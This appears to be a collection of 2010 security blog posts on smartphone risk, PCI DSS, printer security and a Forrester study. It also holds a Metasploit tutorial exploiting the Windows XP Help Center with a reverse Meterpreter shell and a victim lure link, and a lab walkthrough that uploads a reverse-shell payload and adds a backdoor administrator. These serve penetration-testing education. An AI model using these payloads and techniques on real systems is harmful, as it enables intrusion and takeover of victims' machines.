Smartphones

Smartphones have become an integral part of our lives; we rely on them for everything. They hold all of our personal information, calendars, emails, phone numbers, text messages, and documents. However, the average user is not very savvy when it comes to the security of these devices. A user can browse to one of the many app stores and download just about anything, and most users do just that. One of the exciting things about smartphones is the customization of them. You can get any type of application you want, and most of the time it is free. You can get games, productivity applications, web servers, and ftp servers. Users feel a false sense of security because it is “just a phone” and the apps must be secure because they are getting them from an app store. These apps are developed by programmers of varying levels and skill sets, and security might not be their top priority. None of the app stores put the apps through a thorough security check; most run virus scans but it is usually done randomly and done after the app is posted. Even Apple has fallen victim to mobile malware. Some apps have even been signed safe by the stores only to have malicious code be discovered at a later date. Samsung’s Wave shipped with malware installed on the SD card, which activated as soon as it was connected to a PC.

Read more!

Windows XP Help Center Client Side Attack

With the patch Tuesday release of XP zero days last week i started checking around for Proof of concepts and ran across the following posts.

http://seclists.org/fulldisclosure/2010/Jun/205
http://www.exploit-db.com/exploits/13808/

The above advisories are for windows XP which many businesses still run, and utilizes a XSS attack which many developers and site owners feel isn't really a threat, read below to find out why XSS is dangerous.


After reading the above advisories I checked in metasploit and a working exploit is already available within the exploit framework.

If you are on an internal or client side test penetration test you generally see most clients running windows XP and generally outdated browsers. They are either using IE6 or IE7 or IE8. The above advisories describe a way of using a cross site scripting attack to gain full control of the victim. The essence of this attack is that an un-handled XSS is utilized in hcp://system/sysinfo/sysinfomain.htm?svr=, which can be directly accessed via a url in a browser. By using a defer in a XSS to execute a script in a privileged zone a windows popup is bypassed thus not needing a victim to click any annoying popups to make the attack work.

<script defer>code</script>

"due to insufficient escaping in GetServerName() from sysinfo/commonFunc.js, the page is vulnerable
to a DOM-type XSS. However, the escaping routine will abort encoding if characters such as '=' or '"' or others are specified. "


The help center exploit works on xp sp2 and sp3 which covers most clients in most companies. I do not see many companies running vista or windows7.... IE6 and IE7 browsers are vulnerable to this attack without a popup however IE8 works but with a user popup box unless the victim is running certain versions of media player... I also just tested this with a IE8 browser running in comparability mode... When the client visited the page Automatically the exploit pulled up the help docs and gave me a meterpreter shell, wooooot
I am thinking this would be a good exploit to use in client side penetration tests... So below is the info and a quick usage of the exploit...


Module Name:
ms10_xxx_helpctr_xss_cmd_exec

Below is a description and then usage of the module... give it a try...

Description: (From Metasploit)
"Help and Support Center is the default application provided to
access online documentation for Microsoft Windows. Microsoft
supports accessing help documents directly via URLs by installing a
protocol handler for the scheme "hcp". Due to an error in validation
of input to hcp:// combined with a local cross site scripting
vulnerability and a specialized mechanism to launch the XSS trigger,
arbitrary command execution can be achieved. On IE6 and IE7 on XP
SP2 or SP3, code execution is automatic. On IE8, a dialog box pops,
but if WMP9 is installed, WMP9 can be used for automatic execution.
If IE8 and WMP11, a dialog box will ask the user if execution should
continue. Automatic detection of these options is implemented in
this module, and will default to not sending the exploit for
IE8/WMP11 unless the option is overridden."

Simple Usage Example:
msf > use windows/browser/ms10_xxx_helpctr_xss_cmd_exec
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > set LPORT 5555
LPORT => 5555
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.10:5555
[*] Using URL: https://mail.securestate.net/owa/redir.aspx?C=e81037485a8540388c6fd5dd620d1273&URL=http%3a%2f%2f0.0.0.0%3a80%2f
[*] Local IP: https://mail.securestate.net/owa/redir.aspx?C=e81037485a8540388c6fd5dd620d1273&URL=http%3a%2f%2f192.168.1.10%3a80%2f
[*] Server started.

Send Your Link to the Victim and wait:
Now send the victim out a link to your IP address via email or chat. Generally i would have a registered URL that looks friendly and send them that URL in order to not look too suspicious.

msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > [*] Request for "/" does not contain a sub-directory, redirecting to /c3hfRM5Kh/ ...
[*] Sending Microsoft Help Center XSS and Command Execution to 192.168.1.11:1295...
[*] Responding to request for exploit iframe at 192.168.1.11:1295...
[*] Request for "/" does not contain a sub-directory, redirecting to /ETnOhHE9EqYirlA/ ...
[*] Responding to WebDAV OPTIONS request from 192.168.1.11:1305
[*] Request for "/Vl" does not contain a sub-directory, redirecting to /Vl/ ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1305
[*] Sending directory multistatus for /Vl/ ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1305
[*] Sending EXE multistatus for /Vl/ly.exe ...
[*] Request for "/Vl" does not contain a sub-directory, redirecting to /Vl/ ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1305
[*] Sending directory multistatus for /Vl/ ...
[*] GET for payload received.
[*] Sending stage (748032 bytes) to 192.168.1.11
[*] Meterpreter session 1 opened (192.168.1.10:5555 -> 192.168.1.11:1306) at Fri Jun 11 18:10:38 -0400 2010

msf exploit(ms10_xxx_helpctr_xss_ cmd_exec) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter EXPLOIT\Administrator @ EXPLOIT 192.168.1.10:5555 -> 192.168.1.11:1291
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: EXPLOIT\Administrator


Final Notes:
With the coming of a new patch tuesday, a whole slew of exploits are available for windows XP. The moral of the story is, UPDATE YOUR SYSTEMS.The metasploit module above sets up a server and waits for your victim to make a connection, when the victim does make a connection a help window is opened and they are silently owned.... More then likely the victim will just think windows is acting up as windows usually does or perhaps the user accidentally clicked something :) :)

Read more!

Upcoming PCI DSS Changes

It’s getting to be that time of year again; PCI ROC season is right around the corner. Though the new version of PCI DSS (Version 2.0?) is not due out until October, many of my clients are asking what changes they should expect.

Every two years the PCI Security Standards Council (PCI SSC) issues a new version of the Payment Card Industry Data Security Standard (PCI DSS) as part of the lifecycle and feedback review process from a wide range of organizations. No major changes are expected in the upcoming release, just clarifications.

For starters, look for an update to Requirement 6.5 (secure web application development) for changes in the OWASP Top 10. Your will see 2 new Top 10 vulnerabilities including Security Configuration and Unvalidated Redirects and Forwards. Gone are malicious file execution (6.5.3) and Information leakage and improper error handling (6.5.6). Keep in mind that (as per PCI DSS) whenever a new version of the OWASP Top 10 vulnerabilities is released, it’s implied that the current requirements are to be replaced with the latest OWASP updates.

Expect to see Information Supplements that provide guidance and clarification on a range of emerging technologies. One of the first will address the use of Virtualization technologies. The Virtualization Special Interest Group (SIG) has been busy putting together a white paper and a mapping "tool" document that explains where virtualization applies within each requirement of the DSS. You can find more information on the Virtualization SIG here. Other papers to be published are anticipated to address end-to-end encryption, tokenization and even the Eurocard-MasterCard-Visa (EMV) chip-card standard.

In another change, the PCI SSC is expected to clarify what constitutes acceptable network segmentation. Although segmenting cardholder data environments from the rest of non-cardholder data network is not required by the PCI DSS, it is the only cost effective way to address compliance. Without segmentation, your entire network is considered in scope and subject to PCI compliance.

Lastly, there should be clarification on strong one-way hashing of Primary Account Numbers (PAN). Organizations can remove PAN data from PCI scope either by truncation (deleting all but the first 6 and last 4 digits) or using a secure one-way hash that cannot be reversed. This clarification promises to be a welcome step in helping organizations and their QSAs clarify what is and what is not in scope.

Read more!

Why Can’t We All Just Get Along?

During a recent discussion at work, the benefits of a sound security program outside of the context of repelling malicious assaults came up. What would be the gain of a security program if there was no one attempting to break into a network? How would the role of security for Information Technology change? Would security careers come to a crashing halt?

To give the discussion a framework, the following parameters were agreed upon:

Suddenly everybody in the world is neither malicious nor unscrupulous.

While there is still competition in industry, it is driven only by the idea that each competitor in an industry will attempt to outperform their competition by creating better products at a lower cost, but there will be no espionage or market for trade secrets.

1. Nobody is intentionally harming the network or systems, so there will be no worms, Trojans, or computer viruses.


2. This is global, so as to remove the possibility of foreign attackers, military or otherwise.


3. People would still be capable of errors and would have disagreements founded in misunderstanding, but these disagreements would be settled through mediation or court, or rock-paper-scissors.

We talked about this for a while, but had no way to quantify either side of the argument.

So in this world with “No bad guys, period.” what benefit would there be to a security program? What would be areas where things would remain the same? What would be able to be removed from a security program? What does this mean to how we look at security programs as they currently exist?

To make things simple I thought it would be easiest to measuring what percentages of change would occur in a recognized Information Security Management Standard, BS7799. This way I could determine what changes would occur to security programs more globally. By using a recognized standard I felt it would be more appropriate than what one company or another might find useful for their individualized needs.

The next step was to go through the standard and determine if its components would stay or go. To do this an audit checklist of the BS7799 by Val Thiagarajan, available through SANS, was used to concisely summarize the intent of the standard, as it’s directed questioning leads to each sections focus. The results, with the rationale used in determining each section decided fate, assuming this is a standards based program for a medium sized business, founded on the three principals of security; availability, integrity, and confidentiality, can be found here:

http://securestate.blogspot.com/1989/06/why-cant-we-all-just-get-along-table.html

By tallying up the results, albeit subjectively, it was found that even without “bad guys”, 77.95 percent of the BS7799 is still applicable. This bodes well for justification of a security program, even in a world free of bad guys. Unsurprisingly, based on the outlined framework in which the subject was approached, for a medium business, the dramatic swing away from confidentiality towards integrity and availability maintained the need of a security program. Availability and integrity are key to processing orders, a major factor in most businesses. What was surprising was the extent to which the standard approached these two areas, given the amount of emphasis typically seen in security postings on mitigating against attackers. It crystallized further during this process how underrepresented the principles of availability and integrity are in most security conversations, given their weight. I hear a lot of “What will you do if this box gets compromised?” and very little “What is your plan if your RAID array gets corrupted?” at the speaking engagements I go to. Without paying attention to these core concepts the program can get very lopsided.

Hopefully this will help lend perspective to anyone that a hacker hasn’t yet breached that there is a need for a sound security program. Furthermore, this will hopefully guide people towards looking into their business continuity programs to revisit how impactful their systems can be on cash coming in to their businesses, and how important it is to develop a security program with processes in place to ensure access to and/or with the foresight to recover these systems.

Even without bad guys security would play a vital role for Information Technology, though it may change its name to “Continuity Planning”.

Read more!

Part 1: Ignorance Amongst Us

Recently a study was released by Forrester Research Inc. titled “The Value of Corporate Secrets.” To summarize, it basically goes on to state that although most security programs are driven by compliance regulations, perhaps organizations need to do a better job of securing trade secrets since it has been shown that company secrets (trade secrets, strategic plans, etc) are more valuable then custodial data (i.e. PII, credit card numbers, government identifiers, etc). The full study is available at the below link:

http://www.rsa.com/products/DLP/ar/10844_5415_The_Value_of_Corporate_Secrets.pdf

This study originally caught my eye mainly because it was linked on Slashdot.com with the title “Compliance is Wasted Money, Study Finds.” After reading the study, I am not sure Forrester actually would agree with this statement as much as it is Slashdot’s own interpretation of the study. Forrester breaks down this study into five different sections which I will discuss in subsequent blogs. In this first blog post I will discuss the first section of the study, all leading to what I consider a fairly ignorant title to a study posted by Slashdot and most likely immature conclusions by Forrester.

Company Secrets Comprise Two-Thirds of the Value of Firm’s Information Portfolios

Forrester Finding: For this survey, we asked respondents to identify the five most valuable assets in their information portfolios out of 17 possible types of information ranging from sales forecasts to cardholder data. For purposes of simplicity, we constrained the maximum value to $1 million. On average, enterprises valued their top five assets at $2.7 million in aggregate. Significantly, two-thirds of the value comes from secrets, not custodial data.

My question to the above is what exactly did Forrester use as a control during this survey? In any scientific experiment, groups are treated EXACTLY alike except for the ONE variable being tested at a time. Since I am going to go ahead and assume that this survey took place across many different industries with varying levels of annual revenue and organizational structure and controls, there are too many variables to consider this number to be an accurate representation of the value of corporate assets based on Forrester’s research.

First, organizations vary in organizational structure. The study only says that it interviewed 305 different IT security decision makers. The only reason I bring this up is because in smaller organizations, perhaps the CEO acts as the IT security decision maker as opposed to larger organizations where a CSO might be granted those responsibilities. Asking a CSO and a CEO what their most critical assets are most times is going to result in different answers.

Secondly, did Forrester survey only those organizations which have good asset and data classification programs? This would be very hard for me to believe being that from my experience these types of programs are non-existent in smaller to mid-size organizations. So once again, assuming that Forrester was not able to survey just those organizations which have good asset and data classification programs, how could the person being interviewed actually give an accurate answer as to what their 5 most critical assets are and then proceed to place a dollar amount on them?

Finally, even if we assume this survey to be correct and two-thirds of the firm’s value is in their company secrets, what is not addressed is the potential impact other than a dollar amount that may be incurred by an organization if company secrets or custodial data is lost. Sometimes the reputational impact incurred after a breach is much more costly to an organization than the actual dollar amount of the data stolen. For example, I am much more likely to still do business with an organization whose financials were stolen as opposed to an organization who allowed my personal information to be compromised. So even though the theft of an organization’s financial statements might cost the organization more money, it may not result in the same reputational impact if custodial data was compromised. Many times the reputational impact can be much more costly than the monetary impact.

In summary, I believe there are simply way too many variables and not enough research done in order to truly determine what the value of assets are that compromise an organization’s portfolio. Even if we were to take this conclusion at face value, who cares about the value of the assets? The most important question to ask is the impact to the organization if sensitive assets were to be compromised.

Read more!

So You’re Telling Me That You Did A Penetration Test And All You Found Was This Insecure Printer--LAME!!!

Printers, copiers, and fax machines have become more complex over the years. I find that this is largely due to a Dilbert comic strip character named “The Feature Creep” who would annoyingly want to cram more and more features into a new product line. These devices are doing more than what they were intended to do while opening additional security risks. Not only do these Multi-Function printers (MFP) scan, copy, fax and print, but now they can send email, host web-based administrative pages, and even tell you when the ink is low. One of the bigger risks that had been publicized in a recent CBS TV news broadcast is the fact that these devices are storing these image files on onboard hard drives. The news cast showcased some sensitive personal identifiable information (PII) and even sensitive investment reports of a high profile investment firm. Even though some of these security concerns may be trivial, these risks should be addressed.


PCI does not say I need to protect my printers; who cares?!

Compliance in many cases is one of the biggest drivers of security. Compliance with such standards/laws as PCI, HIPAA, Sarbanes Oxley, or state privacy laws, etc. may not exactly require you to secure your MFPs or other such devices, but that situation might be right around the corner. Since most organizations generally want to do the right thing, it may be required in certain situations to go beyond compliance. When news stories continually pop up covering the subject of sensitive information being breached by recycled copy machines, compliance may one day address these types of issues. Since compliance is just not at that point yet, here are some general questions to ask when trying to understand the criticality of these systems and to show some due diligence:

• Are these devices accessible on the network? If so, how is “Administrative” access controlled?
• How long are the image files retained on these systems?
• If the device was compromised, could the organization actually capture sensitive data?
• If a hard drive fails, does the replacement process follow the normal Standard for securely destroying the disk?
• What are some of the services enabled on these devices? Is there an administrative website, SNMP client, or SMTP server? How about the accounts and passwords of the administrative websites; are they set to default accounts and passwords?
If you answered “No” or “I don’t know” to these questions, some of the issues more than likely need to be addressed.

My vendors made me do it!

In many cases MFPs and other such devices are quickly configured and are plugged into a network. Normally these devices are not looked at or updated until it is time to get a new one. Unless during its life span it stopped working or started belching fire, additional settings were likely not addressed or disabled. Vendors try to sell these devices with more features while the customer may not have considered the risks involved. One example of these features is the ability to send faxes or scanned documents through email. This sounds like a good economical feature; however, internal policy may state that anonymous emails are strictly forbidden. Now that disgruntled employee has a way to send threatening or harassing emails through the printer to that one person he does not like. Additionally, in order to even securely wipe the internal hard drive on these devices, it may require voiding warranties or service contracts if the only way to securely wipe the hard drive is by totally dismantling the device. Some vendors are currently taking a proactive approach to implementing security features such as secure deletion of image files after a print job is finished; however, there really are no best practices currently developed for MFPs and other such devices.

Just like any network appliance, these MFPs and other print devices are small computers that have full-fledged web servers and are connected to the network. They have memory, storage, processors, and an operating system just like a router or a firewall. Even though these may not be directing critical network traffic or blocking unwanted packets, these devices can hold sensitive information. Before that old printer is finally decommissioned, ensure that the hard drive is securely wiped. When looking at your current devices or when the new one is purchased with all the cool features, check the settings. You may be surprised at what you find.

Read more!

Offensive Security Part 2 -- KilltheN00b Walk Through HSIYF

How Strong is Your FU hacker challenge Part 2

Target 2: KilltheN00b

After some chips, salsa and a supersized burrito from el habinaro i was down for another challenge. I logged into the offsec labs and reviewed some of the documentation on the contest page that stated there were 2 targets.

Killthen00b
Ghost

After a quick portscan I chose to attack killthen00b purely based the available on the system offered. Ghost provided a HTTP port only. KilltheN00b had many open ports including FTP, HTTP and some various mail ports.


Scan output:
21/tcp open ftp
_ftp-anon: Anonymous FTP login allowed
25/tcp open smtp Surgemail smtpd 3.8k4-4
80/tcp open http Surgemail webmail (DNews based)
_html-title: SurgeMail Welcome Page
106/tcp open pop3pw Qualcomm poppassd (Maximum users connected)
110/tcp open pop3 SurgeMail pop3d 3.8k4-4
143/tcp open imap SurgeMail imapd 3.8k4-4
366/tcp open smtp Surgemail smtpd 3.8k4-4
465/tcp open tcpwrapped
587/tcp open smtp Surgemail smtpd 3.8k4-4
993/tcp open tcpwrapped
995/tcp open tcpwrapped
3389/tcp open ms-term-serv?
7025/tcp open tcpwrapped
7443/tcp open tcpwrapped


More ports = = more fun ??
More Targets = = more fun??
All Girls Just want to have fun?? Wait no that's a song LOL

Probably a wrong assumption, but its a good theory to cling to when times get rough

Initial FTP probing:

First thing i did was log into the FTP server with credentials that were provided on the offsec page. After logging into the FTP server there wasn't much to play with in any available directories so i decided to try to hop out of the FTP environment.

I tried to hop out of the ftp directory structure via directory traversal attacks with "cd ../../../../../"... Failed, so I then flipped the slashes to "cd ..\..\..\..\..\" and the response back indicated a fail based on the response. So i decided to directly call the root directory with "cd c:".

Score!!

Cd C: correctly hopped me into a directory with loads of files available. I was also able to browse to a directory with system32 files. My actual first thought was to replace the system32 directory program Magnify.exe with my evil payload so that at the Remote desktop login the accessibility options would become a shell. But unfortunately I didn't have access to write to that directory so i moved on. After browsing files for awhile I decided this ftp session was a bust and logged out.

HTTP:

Next I decided to hit up the web page located on KilltheN00b. The web server indicated an application by the name of "surgemail".

I then noted the scripts directory on this site seemed to execute pages with a EXE extension. Very interesting... and a possible attack vector

Next I checked the exploit databases and verified an exploit for the version of surgemail running but the exploit was only valid for windows 2000 and 2003.

Debugging:

So I decided to check the remote desktop port in order to see what operating system was in use only to find out killthen00b was running a Win7 operating system and the exploit would need modification before it would work. This was a....

TOTAL FAIL

I loaded up the debugger and started modifying the exploit and realized that I was unable to control EIP with the exploits located on exploitDB... Either due to my lack of advanced level exploitation or the differences in operating systems or possibly a newer operating systems protection mechanisms i only had control of certain parts of the stack, but no EIP overwrite. To be correct, rather partial overwrite of EIP. This exploit utilized a null byte value the OS already providing on the first byte of the 4 byte EIP, we can use the provided nullbyte to bypass failure on shellcode insertion. I thought this was neat (I like that) otherwise our null stop execution of the program prematurely.

Before going further with expliotation I realized this exploit was a post authentication exploit and would need a user account. grrrr

More Web:

I browsed around the the surgemail pages for awhile trying attacks against authentication and authorization without much success till i hit a /domainadmin management page. On this page i was able to guess a password of test/test using burp "comparer" to compare my responses and noticed one of the outputs said "Account Details". I then verified that I could log into the server by logging into another port used for changing passwords "poppassd" located on port 106. The found login worked!!

Woot i could now use that exploit if i can get the exploit to work.. however this was still a fail after messing with more exploitation for a few hours.

Back to FTP:

Since I earlier noticed the EXE files had possible execution on the surge webpage i decided to hit the FTP session back up and see if I can get to the scripts directory. After messing around for awhile I realized that the "cd ..\..\" actually was working correctly and after a few iterations this technique got me to the root directory. I then browsed to the surgemail/scripts directory

ftp> cd ..\..\..\
250 Directory changed to "/MyDocuments/............./......../......".
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for listing
dr-xrwx--- 1 admin users 0 May 03 22:58 $Recycle.Bin
dr-xrwx--- 1 admin users 0 Jul 13 2009 Documents and Settings
dr-xrwx--- 1 admin users 0 Jul 13 2009 PerfLogs
dr-xrwx--- 1 admin users 0 May 03 19:20 Program Files
dr-xrwx--- 1 admin users 0 May 03 19:21 ProgramData
dr-xrwx--- 1 admin users 0 May 03 22:51 Python26
dr-xrwx--- 1 admin users 0 Apr 30 01:21 Recovery
dr-xrwx--- 1 admin users 0 May 07 23:48 surgemail
dr-xrwx--- 1 admin users 0 May 03 22:38 System Volume Information
dr-xrwx--- 1 admin users 0 May 07 23:48 Users
dr-xrwx--- 1 admin users 0 May 03 21:28 Windows
-r--rr---- 1 admin users 24 Jun 10 2009 autoexec.bat
-r--rr---- 1 admin users 10 Jun 10 2009 config.sys
-r--rr---- 1 admin users 2147016704 May 07 23:44 pagefile.sys
-r--rr---- 1 admin users 12645888 May 03 05:53 surgemail_installer.exe
ftp> cd surgemail
250 Directory changed to "/MyDocuments/............./......../....../surgemail".
ftp> cd scripts
250 Directory changed to "/MyDocuments/............./......../....../surgemail/scripts".

I then tried uploading a test file and it worked.... at this point i got pretty excited and went into exploitation mode.

Meterpreter Evil.exe:

I now needed an evil EXE file to have the webserver serve up for me on behalf of the killtheN00b host. So i popped open metasploit..

Create a reverse_tcp meterpreter shell.
root@ficti0n:~# cd /pentest/exploits/framework3
root@ficti0n:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.6.142 LPORT=4444 X > evil.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=192.168.6.142,LPORT=4444

Now I had a test payload to try, which I then uploaded to the ftp server in the surgemail/scripts directory this directory also contained other exe files such as webmail.exe which apeared to be executed by the surgemail webpage.. Will the page execute my exe file?


Back to the web part 2: the evil upload

Back on the web it was time to browse to the scripts directory and cross my fingers and toes, along with yelling at my friends to cross their fingers and toes too!!! Very important that all the bases are covered in information security..

Offensive Security in depth!!! or something like that.. (Wishful thinking)

So i started a multihandler for metasploit, just in case the reverseshell worked.

msf > use multi/handler
msf exploit(handler) > set LHOST 192.168.6.142
LHOST => 192.168.6.142
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.6.142:4444
[*] Starting the payload handler...

I then proceeded to browse to the directory with all body parts crossed.....Hoping for a connect back to my listener.

SCORE!!!!!

My connection status in metasploit then indicated i had an open session. :)

Post Explotation:

With a shiny shell in hand I first dropped the hashes via meterpreter hashdump but i noticed from the sequence of characters the LM hashes were blank. So I decided to just create my own user, via the following scenario.

Get higher privilages:

meterpreter > getsystem
...got system (via technique 1).

Add a new domain admin:

meterpreter > use incognito
Loading extension incognito...success.
meterpreter > add_user ficti0n
[*] Attempting to add user ficti0n to host 127.0.0.1
[+] Successfully added user
meterpreter > add_localgroup_user Administrators ficti0n
[*] Attempting to add user ficti0n to localgroup Administrators on host 127.0.0.1
[+] Successfully added user to local group

But i like GUI's so lets get remote desktop, and I noted in an earlier attempt to log into rdesktop with my ftp credentials that i needed to be part of the remote desktop users group.. so lets be part of the cool kids group shall we??

Get a Remote Desktop Gui:

meterpreter > add_localgroup_user "Remote Desktop Users" ficti0n
[*] Attempting to add user ficti0n to localgroup Remote Desktop Users on host 127.0.0.1
[+] Successfully added user to local group

I can now login with domain admin on a pretty gui interface provided by microsoft.. Thanks microsoft :) and thanks metaploit.

After logging into the windows7 machine I quickly found my proofs.txt and added it to the online scoreboard to raise me up to 50pts total. Job well done...Thanks to steponequit and carnalownage and sygog for calaborating on attack possibilities, sometimes multiple minds work better even if its not the solution possibilities for the future arise

Lessons Learned:

-Don't listen to other peoples chatter and take it as truth.While I was in IRC everyone was talking about compiling code and getting payloads correct..
-I knew better, I knew there was an easier way and only wasted a limited amount of time on exploit writing. I am sure there is a way to transfer that exploit but messing around all day isn't going to get me past the challenge.
-Again go with your initial observations of the application. My observation that the webpage was executing EXE files ultimately got me into the application even though i veered off the path for awhile listening to people in the IRC chat about payloads.
-Also again always trying things twice and CONFIRM.... Initially i thought i didn't have the traversal. it turns out i did 3 hours before I used it!

Remediation:

-Check the ACL's and the Jails on your server logins and make sure they are not traverseable.
-Review your applications for any known exploitable 3rd party software and update
-Do antivirus checking on file uploads to stop payloads from being uploaded and executed
-Do egress filtering to stop unnecessary ports from calling back to listeners on attackers machines


Closing notes:
I then went to the gym to wake up my forgotten muscles from sitting around all day and night... This was over 24 hours into this Challenge, I cheated and took a little (LONG) nap somewhere in there too.. I know I know.. sleeping on the job, but hey there was a pillow close by and I ran out of the redbull..

Oliver Brown (Ficti0n)
Originally Posted on
http://console-cowboys.blogspot.com/

Up next: Part 3

Dropping shells on the Ghost and watching him laugh as he ultimately owns me!!!!

Read more!